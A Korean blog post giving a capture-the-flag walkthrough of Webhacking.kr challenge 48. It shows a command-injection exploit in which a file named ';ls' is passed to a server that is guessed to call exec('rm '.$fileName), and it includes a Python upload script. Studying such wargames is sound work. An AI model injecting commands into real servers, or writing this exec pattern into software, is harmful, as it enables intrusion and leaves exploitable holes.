관리 메뉴

Hax0r

[풀이] Webhacking.kr 48번 문제 본문

0x00 개발/Security

[풀이] Webhacking.kr 48번 문제

영준이 2017.09.20 21:55

48번 문제는 350 스코어의 해당합니다.

문제의 난이도는 비교적 쉽습니다.


문제를 보면 "폼" 이 존재하며 본 폼에는 `text field` 와 `file field` 가 존재합니다.

파일의 경우 파일명이 세글자를 초과할 경우 서버에서는 오류를 응답합니다.


처음에 삽질했을 때는 파일 업로드 취약점의 중점을 두고 있었는데, 그게 아니더군요.

Maximun 3 이라는 것이 주요 힌트인 것 같습니다.


"abc" 와 같은 의미 없는 파일명의 파일을 업로드 후, 리스트를 보니

Row 우측의 `upload file`, `Delete`  라는 hyperlink 속성을 소유한 텍스트가 보입니다.

`upload file` 로 이동하니,  null 값을 출력하고, `delete` 로 이동하면 파일을 삭제합니다.


몇번의 삽질 끝에, 어쩌면 upload 의 중점을 두기 보단, delete 의 중점을 두는게 어떨까,

가령 서버 사이드에서는 unlink 와 같은 내부 함수의 사용보다.

exec 와 같은 내부 함수를 통해 `rm` 명령어를 수행하는게 아닐까. 

그렇다면 내가 유추한 서버 사이드의 로직은 아래와 같을 것 이다.



exec('rm '.$fileName);


이와 같다면 공격자 입장에서는 환상에 취약점인거다.

왜냐하면 리눅스에서 세미콜론(;)은  하나의 명령어 라인에서 여러개의 명령을 수행하는 구분자 역할 을 한다.

이말인 즉슨 공격자는 linux command 를 마음 껏 사용할 수 있다니 말이다.

일단 디렉토리를 먼저 조회해본다.


`;ls` 를 통해서 말이다.


파일명을 위와 같이 요청 후, 삭제를 요청하니 서버에서 디렉토리 내 리스트를 출력했다.

그 중, 제일 의심가는 (누가 봐도) 파일의 경로로 이동하니, 문제가 해결되었다.

코드는 간단하게 Python 으로 작성했다.




import requests

from bs4 import BeautifulSoup


#


PHPSESSID = 'bde624d1a1f5c0ca0438fd3bde69cb57'

PROBLEM_URL = 'http://webhacking.kr/challenge/bonus/bonus-12/index.php'

cookies = {

    'PHPSESSID' : PHPSESSID

}

files = {

    # 리눅스에서 세미콜론(;) 하나의 명령어 라인에서 여러개의 명령을 수행하는 구분자 역할 합니다.

    'upfile': (';ls', '', 'text/plain', {

        'Expires': '0'

    })

}


# Content-Disposition: form-data; name="upfile"; filename=";"

# Content-Type: text/plain


r = requests.post(PROBLEM_URL, cookies = cookies, data = {

    'memo': "hey"

},files = files)


# parse the html using beautiful soap and store in variable `soup`

soup = BeautifulSoup(r.text, 'html.parser')


webhackTable = soup.find('table', attrs = {

    'border' : '0'

})


for row in webhackTable.findAll("tr"):

    cells = row.findAll("td")

    delelteLink = cells[4]


    if delelteLink is None:

        print('이미지가 정상 업로드 안된 ')

        break


    print('Check out this hyperlink')

    print(PROBLEM_URL + delelteLink.find('a').get('href'))





저작자 표시 비영리 변경 금지
신고